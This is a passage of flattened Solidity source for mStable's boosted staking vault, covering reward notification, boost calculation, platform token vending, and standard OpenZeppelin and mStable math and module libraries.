IRewardsRecipientWithPlatformToken) onlyRewardsDistributor updateReward(address(0)) { require(_reward < 1e24, "Cannot notify with more than a million units"); uint256 newPlatformRewards; if(address(platformToken) != address(0)) { newPlatformRewards = platformToken.balanceOf(address(this)); if (newPlatformRewards > 0) { platformToken.safeTransfer(address(platformTokenVendor), newPlatformRewards); } } uint256 currentTime = block.timestamp; // If previous period over, reset rewardRate if (currentTime >= periodFinish) { rewardRate = _reward / DURATION; platformRewardRate = newPlatformRewards / DURATION; } // If additional reward to existing period, calc sum else { uint256 remaining = periodFinish - currentTime; uint256 leftoverReward = remaining * rewardRate; rewardRate = (_reward + leftoverReward) / DURATION; uint256 leftoverPlatformReward = remaining * platformRewardRate; platformRewardRate = (newPlatformRewards + leftoverPlatformReward) / DURATION; } lastUpdateTime = currentTime; periodFinish = currentTime + DURATION; emit RewardAdded(_reward, newPlatformRewards); } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.8.6; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IRewardsDistributionRecipient { function notifyRewardAmount(uint256 reward) external; function getRewardToken() external view returns (IERC20); } interface IRewardsRecipientWithPlatformToken { function notifyRewardAmount(uint256 reward) external; function getRewardToken() external view returns (IERC20); function getPlatformToken() external view returns (IERC20); } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.8.6; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IBoostedDualVaultWithLockup { /** * @dev Stakes a given amount of the StakingToken for the sender * @param _amount Units of StakingToken */ function stake(uint256 _amount) external; /** * @dev Stakes a given amount of the StakingToken for a given beneficiary * @param _beneficiary Staked tokens are credited to this address * @param _amount Units of StakingToken */ function stake(address _beneficiary, uint256 _amount) external; /** * @dev Withdraws stake from pool and claims any unlocked rewards. * Note, this function is costly - the args for _claimRewards * should be determined off chain and then passed to other fn */ function exit() external; /** * @dev Withdraws stake from pool and claims any unlocked rewards. * @param _first Index of the first array element to claim * @param _last Index of the last array element to claim */ function exit(uint256 _first, uint256 _last) external; /** * @dev Withdraws given stake amount from the pool * @param _amount Units of the staked token to withdraw */ function withdraw(uint256 _amount) external; /** * @dev Claims only the tokens that have been immediately unlocked, not including * those that are in the lockers. */ function claimReward() external; /** * @dev Claims all unlocked rewards for sender. * Note, this function is costly - the args for _claimRewards * should be determined off chain and then passed to other fn */ function claimRewards() external; /** * @dev Claims all unlocked rewards for sender. Both immediately unlocked * rewards and also locked rewards past their time lock. * @param _first Index of the first array element to claim * @param _last Index of the last array element to claim */ function claimRewards(uint256 _first, uint256 _last) external; /** * @dev Pokes a given account to reset the boost */ function pokeBoost(address _account) external; /** * @dev Gets the last applicable timestamp for this reward period */ function lastTimeRewardApplicable() external view returns (uint256); /** * @dev Calculates the amount of unclaimed rewards per token since last update, * and sums with stored to give the new cumulative reward per token * @return 'Reward' per staked token */ function rewardPerToken() external view returns (uint256, uint256); /** * @dev Returned the units of IMMEDIATELY claimable rewards a user has to receive. Note - this * does NOT include the majority of rewards which will be locked up. * @param _account User address * @return Total reward amount earned */ function earned(address _account) external view returns (uint256, uint256); /** * @dev Calculates all unclaimed reward data, finding both immediately unlocked rewards * and those that have passed their time lock. * @param _account User address * @return amount Total units of unclaimed rewards * @return first Index of the first userReward that has unlocked * @return last Index of the last userReward that has unlocked */ function unclaimedRewards(address _account) external view returns ( uint256 amount, uint256 first, uint256 last, uint256 platformAmount ); } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.8.6; import { ImmutableModule } from "../shared/ImmutableModule.sol"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { IRewardsDistributionRecipient } from "../interfaces/IRewardsDistributionRecipient.sol"; /** * @title RewardsDistributionRecipient * @author Originally: Synthetix (forked from /Synthetixio/synthetix/contracts/RewardsDistributionRecipient.sol) * Changes by: mStable * @notice RewardsDistributionRecipient gets notified of additional rewards by the rewardsDistributor * @dev Changes: Addition of Module and abstract `getRewardToken` func + cosmetic */ abstract contract InitializableRewardsDistributionRecipient is IRewardsDistributionRecipient, ImmutableModule { // This address has the ability to distribute the rewards address public rewardsDistributor; constructor(address _nexus) ImmutableModule(_nexus) {} /** @dev Recipient is a module, governed by mStable governance */ function _initialize(address _rewardsDistributor) internal virtual { rewardsDistributor = _rewardsDistributor; } /** * @dev Only the rewards distributor can notify about rewards */ modifier onlyRewardsDistributor() { require(msg.sender == rewardsDistributor, "Caller is not reward distributor"); _; } /** * @dev Change the rewardsDistributor - only called by mStable governor * @param _rewardsDistributor Address of the new distributor */ function setRewardsDistribution(address _rewardsDistributor) external onlyGovernor { rewardsDistributor = _rewardsDistributor; } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.8.6; // Internal import { IBoostDirector } from "../../interfaces/IBoostDirector.sol"; // Libs import { SafeERC20, IERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { InitializableReentrancyGuard } from "../../shared/InitializableReentrancyGuard.sol"; import { StableMath } from "../../shared/StableMath.sol"; import { Root } from "../../shared/Root.sol"; /** * @title BoostedTokenWrapper * @author mStable * @notice Wrapper to facilitate tracking of staked balances, applying a boost * @dev Forked from rewards/staking/StakingTokenWrapper.sol * Changes: * - Adding `_boostedBalances` and `_totalBoostedSupply` * - Implemting of a `_setBoost` hook to calculate/apply a users boost */ contract BoostedTokenWrapper is InitializableReentrancyGuard { using StableMath for uint256; using SafeERC20 for IERC20; event Transfer(address indexed from, address indexed to, uint256 value); string private _name; string private _symbol; IERC20 public immutable stakingToken; IBoostDirector public immutable boostDirector; uint256 private _totalBoostedSupply; mapping(address => uint256) private _boostedBalances; mapping(address => uint256) private _rawBalances; // Vars for use in the boost calculations uint256 private constant MIN_DEPOSIT = 1e18; uint256 private constant MAX_VMTA = 600000e18; uint256 private constant MAX_BOOST = 3e18; uint256 private constant MIN_BOOST = 1e18; uint256 private constant FLOOR = 98e16; uint256 public immutable boostCoeff; // scaled by 10 uint256 public immutable priceCoeff; /** * @dev TokenWrapper constructor * @param _stakingToken Wrapped token to be staked * @param _boostDirector vMTA boost director * @param _priceCoeff Rough price of a given LP token, to be used in boost calculations, where $1 = 1e18 * @param _boostCoeff Boost coefficent using the the boost formula */ constructor( address _stakingToken, address _boostDirector, uint256 _priceCoeff, uint256 _boostCoeff ) { stakingToken = IERC20(_stakingToken); boostDirector = IBoostDirector(_boostDirector); priceCoeff = _priceCoeff; boostCoeff = _boostCoeff; } /** * @param _nameArg token name. eg imUSD Vault or GUSD Feeder Pool Vault * @param _symbolArg token symbol. eg v-imUSD or v-fPmUSD/GUSD */ function _initialize(string memory _nameArg, string memory _symbolArg) internal { _initializeReentrancyGuard(); _name = _nameArg; _symbol = _symbolArg; } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return 18; } /** * @dev Get the total boosted amount * @return uint256 total supply */ function totalSupply() public view returns (uint256) { return _totalBoostedSupply; } /** * @dev Get the boosted balance of a given account * @param _account User for which to retrieve balance */ function balanceOf(address _account) public view returns (uint256) { return _boostedBalances[_account]; } /** * @dev Get the RAW balance of a given account * @param _account User for which to retrieve balance */ function rawBalanceOf(address _account) public view returns (uint256) { return _rawBalances[_account]; } /** * @dev Read the boost for the given address * @param _account User for which to return the boost * @return boost where 1x == 1e18 */ function getBoost(address _account) public view returns (uint256) { return balanceOf(_account).divPrecisely(rawBalanceOf(_account)); } /** * @dev Deposits a given amount of StakingToken from sender * @param _amount Units of StakingToken */ function _stakeRaw(address _beneficiary, uint256 _amount) internal nonReentrant { _rawBalances[_beneficiary] += _amount; stakingToken.safeTransferFrom(msg.sender, address(this), _amount); } /** * @dev Withdraws a given stake from sender * @param _amount Units of StakingToken */ function _withdrawRaw(uint256 _amount) internal nonReentrant { _rawBalances[msg.sender] -= _amount; stakingToken.safeTransfer(msg.sender, _amount); } /** * @dev Updates the boost for the given address according to the formula * boost = min(0.5 + c * vMTA_balance / imUSD_locked^(7/8), 1.5) * If rawBalance <= MIN_DEPOSIT, boost is 0 * @param _account User for which to update the boost */ function _setBoost(address _account) internal { uint256 rawBalance = _rawBalances[_account]; uint256 boostedBalance = _boostedBalances[_account]; uint256 boost = MIN_BOOST; // Check whether balance is sufficient // is_boosted is used to minimize gas usage uint256 scaledBalance = (rawBalance * priceCoeff) / 1e18; if (scaledBalance >= MIN_DEPOSIT) { uint256 votingWeight = boostDirector.getBalance(_account); boost = _computeBoost(scaledBalance, votingWeight); } uint256 newBoostedBalance = rawBalance.mulTruncate(boost); if (newBoostedBalance != boostedBalance) { _totalBoostedSupply = _totalBoostedSupply - boostedBalance + newBoostedBalance; _boostedBalances[_account] = newBoostedBalance; if (newBoostedBalance > boostedBalance) { emit Transfer(address(0), _account, newBoostedBalance - boostedBalance); } else { emit Transfer(_account, address(0), boostedBalance - newBoostedBalance); } } } /** * @dev Computes the boost for * boost = min(m, max(1, 0.95 + c * min(voting_weight, f) / deposit^(3/4))) * @param _scaledDeposit deposit amount in terms of USD */ function _computeBoost(uint256 _scaledDeposit, uint256 _votingWeight) private view returns (uint256 boost) { if (_votingWeight == 0) return MIN_BOOST; // Compute balance to the power 3/4 uint256 sqrt1 = Root.sqrt(_scaledDeposit * 1e6); uint256 sqrt2 = Root.sqrt(sqrt1); uint256 denominator = sqrt1 * sqrt2; boost = (((StableMath.min(_votingWeight, MAX_VMTA) * boostCoeff) / 10) * 1e18) / denominator; boost = StableMath.min(MAX_BOOST, StableMath.max(MIN_BOOST, FLOOR + boost)); } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.8.6; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { MassetHelpers } from "../../shared/MassetHelpers.sol"; /** * @title PlatformTokenVendor * @author mStable * @notice Stores platform tokens for distributing to StakingReward participants * @dev Only deploy this during the constructor of a given StakingReward contract */ contract PlatformTokenVendor { IERC20 public immutable platformToken; address public immutable parentStakingContract; /** @dev Simple constructor that stores the parent address */ constructor(IERC20 _platformToken) { parentStakingContract = msg.sender; platformToken = _platformToken; MassetHelpers.safeInfiniteApprove(address(_platformToken), msg.sender); } /** * @dev Re-approves the StakingReward contract to spend the platform token. * Just incase for some reason approval has been reset. */ function reApproveOwner() external { MassetHelpers.safeInfiniteApprove(address(platformToken), parentStakingContract); } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.8.6; contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require( initializing || isConstructor() || !initialized, "Contract instance has already been initialized" ); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow * checks. * * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing * all math on `uint256` and `int256` and then downcasting. */ library SafeCast { /** * @dev Returns the downcasted uint224 from uint256, reverting on * overflow (when the input is greater than largest uint224). * * Counterpart to Solidity's `uint224` operator. * * Requirements: * * - input must fit into 224 bits */ function toUint224(uint256 value) internal pure returns (uint224) { require(value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits"); return uint224(value); } /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits */ function toUint128(uint256 value) internal pure returns (uint128) { require(value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits"); return uint128(value); } /** * @dev Returns the downcasted uint96 from uint256, reverting on * overflow (when the input is greater than largest uint96). * * Counterpart to Solidity's `uint96` operator. * * Requirements: * * - input must fit into 96 bits */ function toUint96(uint256 value) internal pure returns (uint96) { require(value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits"); return uint96(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits */ function toUint64(uint256 value) internal pure returns (uint64) { require(value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits"); return uint64(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits */ function toUint32(uint256 value) internal pure returns (uint32) { require(value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits"); return uint32(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits */ function toUint16(uint256 value) internal pure returns (uint16) { require(value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits"); return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits. */ function toUint8(uint256 value) internal pure returns (uint8) { require(value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits"); return uint8(value); } /** * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. */ function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } /** * @dev Returns the downcasted int128 from int256, reverting on * overflow (when the input is less than smallest int128 or * greater than largest int128). * * Counterpart to Solidity's `int128` operator. * * Requirements: * * - input must fit into 128 bits * * _Available since v3.1._ */ function toInt128(int256 value) internal pure returns (int128) { require(value >= type(int128).min && value <= type(int128).max, "SafeCast: value doesn't fit in 128 bits"); return int128(value); } /** * @dev Returns the downcasted int64 from int256, reverting on * overflow (when the input is less than smallest int64 or * greater than largest int64). * * Counterpart to Solidity's `int64` operator. * * Requirements: * * - input must fit into 64 bits * * _Available since v3.1._ */ function toInt64(int256 value) internal pure returns (int64) { require(value >= type(int64).min && value <= type(int64).max, "SafeCast: value doesn't fit in 64 bits"); return int64(value); } /** * @dev Returns the downcasted int32 from int256, reverting on * overflow (when the input is less than smallest int32 or * greater than largest int32). * * Counterpart to Solidity's `int32` operator. * * Requirements: * * - input must fit into 32 bits * * _Available since v3.1._ */ function toInt32(int256 value) internal pure returns (int32) { require(value >= type(int32).min && value <= type(int32).max, "SafeCast: value doesn't fit in 32 bits"); return int32(value); } /** * @dev Returns the downcasted int16 from int256, reverting on * overflow (when the input is less than smallest int16 or * greater than largest int16). * * Counterpart to Solidity's `int16` operator. * * Requirements: * * - input must fit into 16 bits * * _Available since v3.1._ */ function toInt16(int256 value) internal pure returns (int16) { require(value >= type(int16).min && value <= type(int16).max, "SafeCast: value doesn't fit in 16 bits"); return int16(value); } /** * @dev Returns the downcasted int8 from int256, reverting on * overflow (when the input is less than smallest int8 or * greater than largest int8). * * Counterpart to Solidity's `int8` operator. * * Requirements: * * - input must fit into 8 bits. * * _Available since v3.1._ */ function toInt8(int256 value) internal pure returns (int8) { require(value >= type(int8).min && value <= type(int8).max, "SafeCast: value doesn't fit in 8 bits"); return int8(value); } /** * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. */ function toInt256(uint256 value) internal pure returns (int256) { // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256"); return int256(value); } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.8.6; /** * @title StableMath * @author mStable * @notice A library providing safe mathematical operations to multiply and * divide with standardised precision. * @dev Derives from OpenZeppelin's SafeMath lib and uses generic system * wide variables for managing precision. */ library StableMath { /** * @dev Scaling unit for use in specific calculations, * where 1 * 10**18, or 1e18 represents a unit '1' */ uint256 private constant FULL_SCALE = 1e18; /** * @dev Token Ratios are used when converting between units of bAsset, mAsset and MTA * Reasoning: Takes into account token decimals, and difference in base unit (i.e. grams to Troy oz for gold) * bAsset ratio unit for use in exact calculations, * where (1 bAsset unit * bAsset.ratio) / ratioScale == x mAsset unit */ uint256 private constant RATIO_SCALE = 1e8; /** * @dev Provides an interface to the scaling unit * @return Scaling unit (1e18 or 1 * 10**18) */ function getFullScale() internal pure returns (uint256) { return FULL_SCALE; } /** * @dev Provides an interface to the ratio unit * @return Ratio scale unit (1e8 or 1 * 10**8) */ function getRatioScale() internal pure returns (uint256) { return RATIO_SCALE; } /** * @dev Scales a given integer to the power of the full scale. * @param x Simple uint256 to scale * @return Scaled value a to an exact number */ function scaleInteger(uint256 x) internal pure returns (uint256) { return x * FULL_SCALE; } /*************************************** PRECISE ARITHMETIC ****************************************/ /** * @dev Multiplies two precise units, and then truncates by the full scale * @param x Left hand input to multiplication * @param y Right hand input to multiplication * @return Result after multiplying the two inputs and then dividing by the shared * scale unit */ function mulTruncate(uint256 x, uint256 y) internal pure returns (uint256) { return mulTruncateScale(x, y, FULL_SCALE); } /** * @dev Multiplies two precise units, and then truncates by the given scale. For example, * when calculating 90% of 10e18, (10e18 * 9e17) / 1e18 = (9e36) / 1e18 = 9e18 * @param x Left hand input to multiplication * @param y Right hand input to multiplication * @param scale Scale unit * @return Result after multiplying the two inputs and then dividing by the shared * scale unit */ function mulTruncateScale( uint256 x, uint256 y, uint256 scale ) internal pure returns (uint256) { // e.g. assume scale = fullScale // z = 10e18 * 9e17 = 9e36 // return 9e36 / 1e18 = 9e18 return (x * y) / scale; } /** * @dev Multiplies two precise units, and then truncates by the full scale, rounding up the result * @param x Left hand input to multiplication * @param y Right hand input to multiplication * @return Result after multiplying the two inputs and then dividing by the shared * scale unit, rounded up to the closest base unit. */ function mulTruncateCeil(uint256 x, uint256 y) internal pure returns (uint256) { // e.g. 8e17 * 17268172638 = 138145381104e17 uint256 scaled = x * y; // e.g. 138145381104e17 + 9.99...e17 = 138145381113.99...e17 uint256 ceil = scaled + FULL_SCALE - 1; // e.g. 13814538111.399...e18 / 1e18 = 13814538111 return ceil / FULL_SCALE; } /** * @dev Precisely divides two units, by first scaling the left hand operand. Useful * for finding percentage weightings, i.e. 8e18/10e18 = 80% (or 8e17) * @param x Left hand input to division * @param y Right hand input to division * @return Result after multiplying the left operand by the scale, and * executing the division on the right hand input. */ function divPrecisely(uint256 x, uint256 y) internal pure returns (uint256) { // e.g. 8e18 * 1e18 = 8e36 // e.g. 8e36 / 10e18 = 8e17 return (x * FULL_SCALE) / y; } /*************************************** RATIO FUNCS ****************************************/ /** * @dev Multiplies and truncates a token ratio, essentially flooring the result * i.e. How much mAsset is this bAsset worth? * @param x Left hand operand to multiplication (i.e Exact quantity) * @param ratio bAsset ratio * @return c Result after multiplying the two inputs and then dividing by the ratio scale */ function mulRatioTruncate(uint256 x, uint256 ratio) internal pure returns (uint256 c) { return mulTruncateScale(x, ratio, RATIO_SCALE); } /** * @dev Multiplies and truncates a token ratio, rounding up the result * i.e. How much mAsset is this bAsset worth? * @param x Left hand input to multiplication (i.e Exact quantity) * @param ratio bAsset ratio * @return Result after multiplying the two inputs and then dividing by the shared * ratio scale, rounded up to the closest base unit. */ function mulRatioTruncateCeil(uint256 x, uint256 ratio) internal pure returns (uint256) { // e.g. How much mAsset should I burn for this bAsset (x)? // 1e18 * 1e8 = 1e26 uint256 scaled = x * ratio; // 1e26 + 9.99e7 = 100..00.999e8 uint256 ceil = scaled + RATIO_SCALE - 1; // return 100..00.999e8 / 1e8 = 1e18 return ceil / RATIO_SCALE; } /** * @dev Precisely divides two ratioed units, by first scaling the left hand operand * i.e. How much bAsset is this mAsset worth? * @param x Left hand operand in division * @param ratio bAsset ratio * @return c Result after multiplying the left operand by the scale, and * executing the division on the right hand input. */ function divRatioPrecisely(uint256 x, uint256 ratio) internal pure returns (uint256 c) { // e.g. 1e14 * 1e8 = 1e22 // return 1e22 / 1e12 = 1e10 return (x * RATIO_SCALE) / ratio; } /*************************************** HELPERS ****************************************/ /** * @dev Calculates minimum of two numbers * @param x Left hand input * @param y Right hand input * @return Minimum of the two inputs */ function min(uint256 x, uint256 y) internal pure returns (uint256) { return x > y ? y : x; } /** * @dev Calculated maximum of two numbers * @param x Left hand input * @param y Right hand input * @return Maximum of the two inputs */ function max(uint256 x, uint256 y) internal pure returns (uint256) { return x > y ? x : y; } /** * @dev Clamps a value to an upper bound * @param x Left hand input * @param upperBound Maximum possible value to return * @return Input x clamped to a maximum value, upperBound */ function clamp(uint256 x, uint256 upperBound) internal pure returns (uint256) { return x > upperBound ? upperBound : x; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.8.6; import { ModuleKeys } from "./ModuleKeys.sol"; import { INexus } from "../interfaces/INexus.sol"; /** * @title ImmutableModule * @author mStable * @dev Subscribes to module updates from a given publisher and reads from its registry. * Contract is used for upgradable proxy contracts. */ abstract contract ImmutableModule is ModuleKeys { INexus public immutable nexus; /** * @dev Initialization function for upgradable proxy contracts * @param _nexus Nexus contract address */ constructor(address _nexus) { require(_nexus != address(0), "Nexus address is zero"); nexus = INexus(_nexus); } /** * @dev Modifier to allow function calls only from the Governor. */ modifier onlyGovernor() { _onlyGovernor(); _; } function _onlyGovernor() internal view { require(msg.sender == _governor(), "Only governor can execute"); } /** * @dev Modifier to allow function calls only from the Governance. * Governance is either Governor address or Governance address. */ modifier onlyGovernance() { require( msg.sender == _governor() || msg.sender == _governance(), "Only governance can execute" ); _; } /** * @dev Returns Governor address from the Nexus * @return Address of Governor Contract */ function _governor() internal view returns (address) { return nexus.governor(); } /** * @dev Returns Governance Module address from the Nexus * @return Address of the Governance (Phase 2) */ function _governance() internal view returns (address) { return nexus.getModule(KEY_GOVERNANCE); } /** * @dev Return SavingsManager Module address from the Nexus * @return Address of the SavingsManager Module contract */ function _savingsManager() internal view returns (address) { return nexus.getModule(KEY_SAVINGS_MANAGER); } /** * @dev Return Recollateraliser Module address from the Nexus * @return Address of the Recollateraliser Module contract (Phase 2) */ function _recollateraliser() internal view returns (address) { return nexus.getModule(KEY_RECOLLATERALISER); } /** * @dev Return Liquidator Module address from the Nexus * @return Address of the Liquidator Module contract */ function _liquidator() internal view returns (address) { return nexus.getModule(KEY_LIQUIDATOR); } /** * @dev Return ProxyAdmin Module address from the Nexus * @return Address of the ProxyAdmin Module contract */ function _proxyAdmin() internal view returns (address) { return nexus.getModule(KEY_PROXY_ADMIN); } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.8.6; /** * @title ModuleKeys * @author mStable * @notice Provides system wide access to the byte32 represntations of system modules * This allows each system module to be able to reference and update one another in a * friendly way * @dev keccak256() values are hardcoded to avoid re-evaluation of the constants at runtime. */ contract ModuleKeys { // Governance // =========== // keccak256("Governance"); bytes32 internal constant KEY_GOVERNANCE = 0x9409903de1e6fd852dfc61c9dacb48196c48535b60e25abf92acc92dd689078d; //keccak256("Staking"); bytes32 internal constant KEY_STAKING = 0x1df41cd916959d1163dc8f0671a666ea8a3e434c13e40faef527133b5d167034; //keccak256("ProxyAdmin"); bytes32 internal constant KEY_PROXY_ADMIN = 0x96ed0203eb7e975a4cbcaa23951943fa35c5d8288117d50c12b3d48b0fab48d1; // mStable // ======= // keccak256("OracleHub"); bytes32 internal constant KEY_ORACLE_HUB = 0x8ae3a082c61a7379e2280f3356a5131507d9829d222d853bfa7c9fe1200dd040; // keccak256("Manager"); bytes32 internal constant KEY_MANAGER = 0x6d439300980e333f0256d64be2c9f67e86f4493ce25f82498d6db7f4be3d9e6f; //keccak256("Recollateraliser"); bytes32 internal constant KEY_RECOLLATERALISER = 0x39e3ed1fc335ce346a8cbe3e64dd525cf22b37f1e2104a755e761c3c1eb4734f; //keccak256("MetaToken"); bytes32 internal constant KEY_META_TOKEN = 0xea7469b14936af748ee93c53b2fe510b9928edbdccac3963321efca7eb1a57a2; // keccak256("SavingsManager"); bytes32 internal constant KEY_SAVINGS_MANAGER = 0x12fe936c77a1e196473c4314f3bed8eeac1d757b319abb85bdda70df35511bf1; // keccak256("Liquidator"); bytes32 internal constant KEY_LIQUIDATOR = 0x1e9cb14d7560734a61fa5ff9273953e971ff3cd9283c03d8346e3264617933d4; // keccak256("InterestValidator"); bytes32 internal constant KEY_INTEREST_VALIDATOR = 0xc10a28f028c7f7282a03c90608e38a4a646e136e614e4b07d119280c5f7f839f; } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.8.6; /** * @title INexus * @dev Basic interface for interacting with the Nexus i.e. SystemKernel */ interface INexus { function governor() external view returns (address); function getModule(bytes32 key) external view returns (address); function proposeModule(bytes32 _key, address _addr) external; function cancelProposedModule(bytes32 _key) external; function acceptProposedModule(bytes32 _key) external; function acceptProposedModules(bytes32[] calldata _keys) external; function requestLockModule(bytes32 _key) external; function cancelLockModule(bytes32 _key) external; function lockModule(bytes32 _key) external; } // SPDX-License-Identifier: 